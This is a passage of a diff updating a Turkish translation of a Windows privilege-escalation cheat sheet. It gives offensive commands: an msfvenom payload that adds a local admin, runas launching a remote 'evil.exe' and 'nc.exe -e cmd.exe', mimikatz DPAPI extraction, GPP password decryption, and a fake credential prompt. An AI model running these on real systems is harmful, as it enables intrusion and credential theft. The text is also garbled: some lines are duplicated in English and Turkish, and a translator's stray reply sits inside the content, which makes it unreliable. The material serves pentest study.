Folder\Service.exe_ Windows will try to execute: +Örneğin, _C:\Program Files\Some Folder\Service.exe_ yolu için Windows şunları çalıştırmayı dener: ```bash C:\Program.exe C:\Program Files\Some.exe @@ -567,19 +567,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Tespit edip istismar edebilirsiniz** bu zafiyeti metasploit ile: `exploit/windows/local/trusted\_service\_path` metasploit ile manuel olarak bir service binary oluşturabilirsiniz: +**Bu zafiyeti tespit edip exploit edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir service binary oluşturabilirsiniz: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Kurtarma Eylemleri -Windows, bir hizmet arızalandığında gerçekleştirilecek eylemleri belirtmeye izin verir. Bu özellik, bir binary'ye işaret edecek şekilde yapılandırılabilir. Eğer bu binary değiştirilebilirse, privilege escalation mümkün olabilir. Daha fazla ayrıntı için [official documentation]()'a bakın. +Windows, bir servis başarısız olursa yapılacak eylemleri kullanıcıların belirtmesine izin verir. Bu özellik bir binary'ye işaret edecek şekilde yapılandırılabilir. Eğer bu binary değiştirilebilirse, privilege escalation mümkün olabilir. Daha fazla ayrıntı [resmi dokümantasyonda]() bulunabilir. ## Uygulamalar ### Yüklü Uygulamalar -Kontrol edin **binary'lerin izinlerini** (belki birini üzerine yazıp privilege escalation gerçekleştirebilirsiniz) ve **klasörlerin** izinlerini ([DLL Hijacking](dll-hijacking/index.html)). +Kontrol edin **binaries'in izinlerini** (belki birini overwrite edip privilege escalation gerçekleştirebilirsiniz) ve **klasörlerin izinlerini** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -590,7 +590,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Yazma İzinleri -Özel bir dosyayı okumak için bazı config dosyalarını değiştirip değiştiremeyeceğinizi veya Yönetici hesabı tarafından çalıştırılacak bir binary'i (schedtasks) değiştirip değiştiremeyeceğinizi kontrol edin. +Bazı yapılandırma dosyalarını değiştirip özel bir dosyayı okuyup okuyamayacağını veya Administrator hesabı tarafından yürütülecek bir ikiliyi (schedtasks) değiştirip değiştiremeyeceğini kontrol et. Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu şudur: ```bash @@ -615,10 +615,10 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### Run at startup +### Başlangıçta Çalıştır -**Farklı bir kullanıcı tarafından çalıştırılacak bazı registry veya binary dosyalarını overwrite edip edemeyeceğinizi kontrol edin.**\ -**Okuyun** **aşağıdaki sayfayı** ilginç **autoruns locations to escalate privileges** hakkında daha fazla bilgi edinmek için: +**Farklı bir kullanıcı tarafından çalıştırılacak bazı registry veya binary'leri üzerine yazıp yazamayacağınızı kontrol edin.**\ +**Okuyun** **aşağıdaki sayfayı**, ilginç **autoruns locations to escalate privileges** hakkında daha fazla bilgi edinmek için: {{#ref}} @@ -627,13 +627,13 @@ privilege-escalation-with-autorun-binaries.md ### Sürücüler -Muhtemel **üçüncü taraf, garip veya zafiyetli** sürücülere bakın +Muhtemel **third party weird/vulnerable** sürücüleri arayın ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Eğer bir driver arbitrary kernel read/write primitive açığa çıkarıyorsa (kötü tasarlanmış IOCTL handlers'ta yaygındır), SYSTEM token'ı doğrudan kernel memory'den çalarak ayrıcalıkları yükseltebilirsiniz. Adım‑adım teknik için şuraya bakın: +Eğer bir driver arbitrary kernel read/write primitive açığa çıkarıyorsa (kötü tasarlanmış IOCTL handlers'ta yaygındır), kernel memory'den doğrudan bir SYSTEM token çalarak privilege escalation gerçekleştirebilirsiniz. Adım adım teknik için buraya bakın: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -642,7 +642,7 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -Eğer **write permissions inside a folder present on PATH**'e sahipseniz, bir süreç tarafından yüklenen bir DLL'i hijack ederek **escalate privileges** elde edebilirsiniz. +Eğer **write permissions inside a folder present on PATH**'a sahipseniz, bir süreç tarafından yüklenen bir DLL'i hijack ederek **escalate privileges** yapabilirsiniz. PATH içindeki tüm klasörlerin izinlerini kontrol edin: ```bash @@ -667,11 +667,11 @@ net share #Check current shares ``` ### hosts file -hosts file'da sabit olarak belirtilmiş diğer bilinen bilgisayarları kontrol edin +hosts file içinde hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin ``` type C:\Windows\System32\drivers\etc\hosts ``` -### Ağ Arayüzleri & DNS +### Ağ Arayüzleri ve DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address @@ -679,7 +679,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Açık Portlar -Dışarıdan **kısıtlı servisleri** kontrol edin +Dışarıdan **kısıtlı hizmetleri** kontrol edin ```bash netstat -ano #Opened ports? ``` @@ -693,20 +693,20 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Firewall Kuralları +### Firewall Rules -[**Firewall ile ilgili komutlar için bu sayfayı kontrol edin**](../basic-cmd-for-pentesters.md#firewall) **(kuralları listele, kural oluştur, kapat, kapat...)** +[**Firewall ile ilgili komutlar için bu sayfayı kontrol edin**](../basic-cmd-for-pentesters.md#firewall) **(kuralları listeleme, kurallar oluşturma, devre dışı bırakma, devre dışı bırakma...)** -Daha fazla [network enumeration ile ilgili komutlar burada](../basic-cmd-for-pentesters.md#network) +Daha fazla [ağ keşfi için komutlar burada](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -İkili `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` konumunda bulunabilir +Binary `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` konumunda da bulunabilir. -Eğer root kullanıcısı olursanız herhangi bir portu dinleyebilirsiniz (ilk kez `nc.exe` ile bir portu dinlediğinizde, GUI aracılığıyla `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceği sorulur). +root erişimi elde ederseniz herhangi bir portu dinleyebilirsiniz (`nc.exe`'yi bir portu dinlemek için ilk kullandığınızda GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilmesi istenecektir). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -715,7 +715,7 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` bash'i root olarak kolayca başlatmak için `--default-user root` deneyebilirsiniz -`WSL` dosya sistemini `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` klasöründe inceleyebilirsiniz +Aşağıdaki klasördeki `WSL` dosya sistemini inceleyebilirsiniz: `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Windows Kimlik Bilgileri @@ -731,16 +731,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Kimlik Bilgileri Yöneticisi / Windows vault +### Credentials manager / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault, **Windows** kullanıcıları **otomatik olarak oturum açtırabilir** duruma getiren sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini saklar. İlk bakışta, kullanıcıların Facebook, Twitter, Gmail vb. kimlik bilgilerini tarayıcılar aracılığıyla otomatik oturum açmak için saklayabildikleri izlenimi verebilir. Ancak durum böyle değildir. +Windows Vault, sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini depolar; bu kimlik bilgileri **Windows**'un kullanıcıları **otomatik olarak oturum açtırabilmesi** içindir. İlk bakışta kullanıcıların Facebook, Twitter, Gmail vb. kimlik bilgilerini tarayıcılar üzerinden otomatik giriş için saklayabildiği izlenimi verebilir. Ancak durum böyle değildir. -Windows Vault, Windows'in kullanıcıları otomatik olarak oturum açtırabildiği kimlik bilgilerini saklar; bu da herhangi bir **kaynağa (sunucu veya web sitesi) erişmek için kimlik bilgisine ihtiyaç duyan Windows uygulamasının** bu **Credential Manager**'ı ve Windows Vault'u kullanarak sağlanan kimlik bilgilerini, kullanıcıların sürekli kullanıcı adı ve şifre girmesi yerine, kullanabileceği anlamına gelir. +Windows Vault, Windows'un kullanıcıları otomatik olarak oturum açtırabileceği kimlik bilgilerini depolar; bu da herhangi bir **Windows uygulamasının bir kaynağa (sunucu veya bir web sitesi) erişmek için kimlik bilgilerine ihtiyaç duyması** durumunda **bu Credential Manager** & Windows Vault'tan yararlanabileceği ve kullanıcıların kullanıcı adı ve şifreyi sürekli girmesi yerine sağlanan kimlik bilgilerini kullanabileceği anlamına gelir. -Uygulamalar Credential Manager ile etkileşime girmezse, belirli bir kaynak için kimlik bilgilerini kullanmaları muhtemel değildir. Bu nedenle, uygulamanız vault'u kullanmak istiyorsa, varsayılan depolama kasasından o kaynak için kimlik bilgilerini talep etmek üzere bir şekilde **credential manager ile iletişim kurmalı ve o kaynağın kimlik bilgilerini istemelidir**. +Uygulamalar Credential Manager ile etkileşime girmedikçe, belirli bir kaynağın kimlik bilgilerini kullanmalarının mümkün olduğunu sanmıyorum. Bu yüzden uygulamanız vault'tan yararlanmak istiyorsa, varsayılan depolama vault'undan o kaynak için kimlik bilgilerini talep etmek üzere bir şekilde **credential manager ile iletişim kurmalı ve o kaynak için kimlik bilgilerini talep etmelidir**. -Makinede saklanan kimlik bilgilerini listelemek için `cmdkey` kullanın. +Makinede depolanan kimlik bilgilerini listelemek için `cmdkey` komutunu kullanın. ```bash cmdkey /list Currently stored credentials: @@ -748,38 +748,38 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Ardından kaydedilmiş kimlik bilgilerini kullanmak için `/savecred` seçeneğiyle `runas` kullanabilirsiniz. Aşağıdaki örnek, bir SMB paylaşımı üzerinden uzaktaki bir binary'i çağırıyor. +Sonrasında saklanan kimlik bilgilerini kullanmak için `runas` komutunu `/savecred` seçeneği ile kullanabilirsiniz. Aşağıdaki örnek bir SMB share üzerinden uzak bir binary'yi çağırmaktadır. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Sağlanan bir credential seti ile `runas` kullanma. +Sağlanan kimlik bilgileriyle `runas` kullanma. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Not: mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), veya [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Dikkat: mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html) veya [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) kullanılarak elde edilebilir. ### DPAPI -The **Data Protection API (DPAPI)**, verilerin simetrik şifrelemesi için bir yöntem sağlar; ağırlıklı olarak Windows işletim sistemi içinde asimetrik özel anahtarların simetrik olarak şifrelenmesi için kullanılır. Bu şifreleme, entropiye önemli katkı sağlayan bir kullanıcı veya sistem sırrını kullanır. +The **Data Protection API (DPAPI)** verilerin simetrik şifrelemesi için bir yöntem sağlar; özellikle Windows işletim sisteminde asimetrik özel anahtarların simetrik şifrelemesi için kullanılır. Bu şifreleme, entropiye önemli katkı sağlayan bir kullanıcı veya sistem sırrını kullanır. -**DPAPI, anahtarların kullanıcı giriş sırlarından türetilen bir simetrik anahtar aracılığıyla şifrelenmesini sağlar**. Sistem şifreleme senaryolarında ise sistemin domain kimlik doğrulama sırlarını kullanır. +**DPAPI, kullanıcı giriş sırlarından türetilen bir simetrik anahtar aracılığıyla anahtarların şifrelenmesine imkan verir**. Sistem şifrelemesi senaryolarında ise sistemin domain kimlik doğrulama sırlarını kullanır. -DPAPI kullanılarak şifrelenmiş kullanıcı RSA anahtarları `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}` kullanıcının [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) öğesini temsil eder. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan master key ile aynı dosyada birlikte bulunur**, genellikle 64 bytes rastgele veriden oluşur. (Bu dizine erişimin kısıtlı olduğunu, içeriğinin `dir` komutu ile CMD'de listelenmesinin engellendiğini, ancak PowerShell ile listelenebildiğini not etmek önemlidir.) +DPAPI kullanılarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}` kullanıcının [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)'ıdır. **Kullanıcının özel anahtarlarını aynı dosyada koruyan master key ile aynı yerde bulunan DPAPI anahtarı**, genellikle 64 baytlık rastgele veriden oluşur. (Bu dizine erişimin kısıtlı olduğunu ve CMD'de `dir` komutu ile içeriğinin listelenmesine izin verilmediğini; ancak PowerShell üzerinden listelenebildiğini not etmek önemlidir.) ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Uygun argümanlarla (`/pvk` veya `/rpc`) **mimikatz module** `dpapi::masterkey` kullanarak bunu çözebilirsiniz. +Onu çözmek için uygun argümanlar (`/pvk` veya `/rpc`) ile **mimikatz module** `dpapi::masterkey` kullanabilirsiniz. -**credentials files protected by the master password** genellikle şu konumlarda bulunur: +**Ana parola ile korunan kimlik bilgileri dosyaları** genellikle şu konumlarda bulunur: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Uygun `/masterkey` ile **mimikatz module** `dpapi::cred`'i kullanarak decrypt edebilirsiniz.\ -Root iseniz, `sekurlsa::dpapi` modülü ile **memory**'den birçok **DPAPI** **masterkeys** çıkarabilirsiniz. +You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt.\ +Çok sayıda **DPAPI** **masterkeys**'i bellekte `sekurlsa::dpapi` modülü ile çıkarabilirsiniz (eğer root'sanız). {{#ref}} @@ -788,9 +788,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -**PowerShell credentials** genellikle şifrelenmiş kimlik bilgilerini pratik bir şekilde saklamak için **scripting** ve otomasyon görevlerinde kullanılır. Bu kimlik bilgileri **DPAPI** ile korunur; bu da genellikle oluşturuldukları aynı kullanıcı tarafından ve aynı bilgisayarda çözülebilecekleri anlamına gelir. +**PowerShell credentials** genellikle şifrelenmiş kimlik bilgilerini pratik şekilde saklamak için **scripting** ve **automation** görevlerinde kullanılır. Bu kimlik bilgileri **DPAPI** ile korunur; bu da genellikle oluşturuldukları aynı bilgisayarda aynı kullanıcı tarafından çözülebilecekleri anlamına gelir. -İçeren dosyadan bir PS credentials'ı **decrypt** etmek için şunu yapabilirsiniz: +To **decrypt** a PS credentials from the file containing it you can do: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -801,7 +801,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Kablosuz (Wi‑Fi) +### Kablosuz (Wi-Fi) ```bash #List saved Wifi using netsh wlan show profile @@ -812,8 +812,8 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ``` ### Kaydedilmiş RDP Bağlantıları -Şu yerlerde bulabilirsiniz: `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -ve `HKCU\Software\Microsoft\Terminal Server Client\Servers\` +Bunları `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +ve `HKCU\Software\Microsoft\Terminal Server Client\Servers\` içinde bulabilirsiniz. ### Son Çalıştırılan Komutlar ``` @@ -824,20 +824,27 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Uygun `/masterkey` ile **Mimikatz** `dpapi::rdg` modülünü kullanarak herhangi bir .rdg dosyasının şifresini çözün.\ -Mimikatz `sekurlsa::dpapi` modülü ile bellekten birçok **DPAPI masterkey** çıkarabilirsiniz. +Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ +Uygun `/masterkey` ile **Mimikatz** `dpapi::rdg` modülünü kullanarak herhangi bir .rdg dosyasının **şifresini çözün**.\ +You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module\ +Mimikatz `sekurlsa::dpapi` modülüyle bellekten birçok **DPAPI masterkey** çıkarabilirsiniz. ### Sticky Notes -Windows iş istasyonlarında insanlar genellikle StickyNotes uygulamasını bir veritabanı dosyası olduğunu fark etmeden **şifreleri kaydetmek** ve diğer bilgileri saklamak için kullanırlar. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aranıp incelenmeye değerdir. +People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining.\ +Kullanıcılar genellikle Windows iş istasyonlarında StickyNotes uygulamasını bunun bir veritabanı dosyası olduğunu fark etmeden **şifreleri ve diğer bilgileri kaydetmek** için kullanır. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aranıp incelenmeye değerdir. ### AppCmd.exe -**AppCmd.exe'den şifreleri kurtarmak için Administrator olmanız ve High Integrity seviyesinde çalıştırmanız gerektiğini unutmayın.**\ +**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ +**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ +If this file exists then it is possible that some **credentials** have been configured and can be **recovered**.\ +**AppCmd.exe**'den şifreleri kurtarmak için Yönetici olmanız ve High Integrity seviyesinde çalıştırmanız gerektiğini unutmayın.\ **AppCmd.exe** `%systemroot%\system32\inetsrv\` dizininde bulunur.\ Bu dosya mevcutsa bazı **credentials** yapılandırılmış olabilir ve **kurtarılabilir**. -This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):\ +Bu kod [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) projesinden çıkarılmıştır: ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -917,14 +924,15 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -`C:\Windows\CCM\SCClient.exe`'in var olup olmadığını kontrol edin .\ -Yükleyiciler **run with SYSTEM privileges**, birçoğu **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +`C:\Windows\CCM\SCClient.exe` var mı diye kontrol edin.\ + +Kurulum programları **run with SYSTEM privileges** ile çalıştırılır; birçoğu **DLL Sideloading**'a karşı savunmasızdır (Bilgi: [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)). ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Dosyalar ve Kayıt Defteri (Credentials) +## Dosyalar ve Kayıt Defteri (Kimlik Bilgileri) ### Putty Creds ```bash @@ -934,21 +942,21 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### Kayıt defterindeki SSH keys +### Kayıt defterindeki SSH anahtarları -SSH private keys `HKCU\Software\OpenSSH\Agent\Keys` içinde saklanabilir, bu yüzden orada ilginç bir şey olup olmadığını kontrol etmelisiniz: +SSH özel anahtarları kayıt defteri anahtarı `HKCU\Software\OpenSSH\Agent\Keys` içinde saklanıyor olabilir; bu yüzden orada ilginç bir şey olup olmadığını kontrol etmelisiniz: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Eğer bu yolun içinde herhangi bir giriş bulursanız muhtemelen kaydedilmiş bir SSH key olacaktır. Şifrelenmiş olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Bu yolun içinde herhangi bir giriş bulursanız muhtemelen kaydedilmiş bir SSH key'idir. Şifreli olarak saklanır fakat [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca deşifre edilebilir.\ Bu teknik hakkında daha fazla bilgi için: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Eğer `ssh-agent` servisi çalışmıyorsa ve onun önyüklemede otomatik başlamasını istiyorsanız şunu çalıştırın: +Eğer `ssh-agent` servisi çalışmıyorsa ve önyüklemede otomatik başlamasını istiyorsanız şunu çalıştırın: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Görünüşe göre bu teknik artık geçerli değil. Bazı ssh anahtarları oluşturmaya, bunları `ssh-add` ile eklemeye ve bir makineye ssh ile giriş yapmaya çalıştım. Kayıt defteri HKCU\Software\OpenSSH\Agent\Keys mevcut değil ve procmon asimetrik anahtar doğrulaması sırasında `dpapi.dll` kullanımını tespit etmedi. +> Görünüşe göre bu teknik artık geçerli değil. Bazı ssh anahtarları oluşturmaya, bunları `ssh-add` ile eklemeye ve ssh ile bir makineye giriş yapmaya çalıştım. Kayıt defteri HKCU\Software\OpenSSH\Agent\Keys mevcut değil ve procmon, asimetrik anahtar kimlik doğrulaması sırasında `dpapi.dll` kullanımını tespit etmedi. ### Gözetimsiz dosyalar ``` @@ -965,7 +973,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Bu dosyaları ayrıca **metasploit** kullanarak arayabilirsiniz: _post/windows/gather/enum_unattend_ +Bu dosyaları ayrıca **metasploit** kullanarak da arayabilirsiniz: _post/windows/gather/enum_unattend_ Örnek içerik: ```xml @@ -996,7 +1004,7 @@ Bu dosyaları ayrıca **metasploit** kullanarak arayabilirsiniz: _post/windows/g %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Cloud Credentials +### Bulut Kimlik Bilgileri ```bash #From user home .aws\credentials @@ -1008,15 +1016,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -**SiteList.xml** adlı bir dosyayı ara +Adında **SiteList.xml** olan bir dosya arayın ### Önbelleğe Alınmış GPP Parolası -Önceden, Group Policy Preferences (GPP) aracılığıyla bir grup makineye özel local administrator hesapları dağıtılmasına izin veren bir özellik vardı. Ancak bu yöntemin önemli güvenlik açıkları bulunuyordu. Birincisi, SYSVOL içinde XML dosyaları olarak saklanan Group Policy Objects (GPOs), herhangi bir domain kullanıcısı tarafından erişilebiliyordu. İkincisi, bu GPP'lerdeki parolalar, kamuya açıklanmış varsayılan bir anahtar kullanılarak AES256 ile şifrelenmiş olsa da, herhangi bir kimlik doğrulaması yapılmış kullanıcı tarafından çözülebiliyordu. Bu durum, kullanıcıların ayrıcalık yükseltmesine yol açabileceği için ciddi bir risk teşkil ediyordu. +Daha önce, Group Policy Preferences (GPP) aracılığıyla bir grup makinede özel local administrator hesaplarının dağıtılmasına izin veren bir özellik mevcuttu. Ancak, bu yöntemin ciddi güvenlik açıkları vardı. İlk olarak, SYSVOL'de XML dosyaları olarak saklanan Group Policy Objects (GPOs) herhangi bir domain kullanıcısı tarafından erişilebiliyordu. İkinci olarak, bu GPP'lerdeki parolalar, halka açık olarak belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlikli kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine izin verebilecek ciddi bir riskti. -Bu riski azaltmak için, içinde boş olmayan bir "cpassword" alanı bulunan yerel önbelleğe alınmış GPP dosyalarını tarayan bir fonksiyon geliştirildi. Böyle bir dosya bulunduğunda, fonksiyon parolayı çözüyor ve özel bir PowerShell nesnesi döndürüyor. Bu nesne, GPP hakkında ve dosyanın konumu hakkında bilgiler içererek bu güvenlik açığının tespitine ve düzeltilmesine yardımcı oluyor. +Bu riski azaltmak için, içinde "cpassword" alanı boş olmayan yerel önbelleğe alınmış GPP dosyalarını tarayan bir fonksiyon geliştirildi. Böyle bir dosya bulunduğunda, fonksiyon şifreyi çözer ve özel bir PowerShell object döndürür. Bu object GPP hakkında detayları ve dosyanın konumunu içerir; böylece bu güvenlik açığının tespit edilip giderilmesine yardımcı olur. -Aşağıdaki dizinlerde bu dosyaları ara: `C:\ProgramData\Microsoft\Group Policy\history` veya _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista'dan önce)_ +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1030,7 +1038,7 @@ Aşağıdaki dizinlerde bu dosyaları ara: `C:\ProgramData\Microsoft\Group Polic #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexec kullanarak şifreleri elde etme: +crackmapexec ile passwords elde etme: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` @@ -1086,9 +1094,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Credentials isteme +### Credentials isteyin -Eğer kullanıcının bunları bilebileceğini düşünüyorsanız, her zaman **kullanıcıdan kendi credentials'ını veya hatta başka bir kullanıcının credentials'ını girmesini istemek** mümkün (dikkat: istemciden doğrudan **credentials**'ı **istemek** gerçekten **risklidir**): +Her zaman **kullanıcıdan kendi credentials'ını veya farklı bir kullanıcının credentials'ını girmesini isteyebilirsiniz** eğer kullanıcının bunları bilebileceğini düşünüyorsanız (unutmayın ki müşteriye doğrudan **sormak** ya da doğrudan **credentials** istemek gerçekten **risklidir**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1096,9 +1104,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Kimlik bilgilerini içerebilecek olası dosya adları** +### **credentials içerebilecek olası dosya adları** -Bir süre önce **şifreleri** **düz metin** veya **Base64** olarak içeren bilinen dosyalar +Bir zamanlar **passwords**'ı **clear-text** veya **Base64** olarak içeren bilinen dosyalar ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1162,7 +1170,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -İstediğiniz dosyaları arayıp çevirebilmem için dosya içeriklerini veya dosya listesi gerekiyor. Lütfen çevirmemi/aramamı istediğiniz README.md içeriğini ya da ilgili dosyaların tam listesini gönderin. +I don't have the file contents. Lütfen src/windows-hardening/windows-local-privilege-escalation/README.md dosyasının içeriğini buraya yapıştırın, ardından çeviriyi yapacağım. ``` cd C:\ 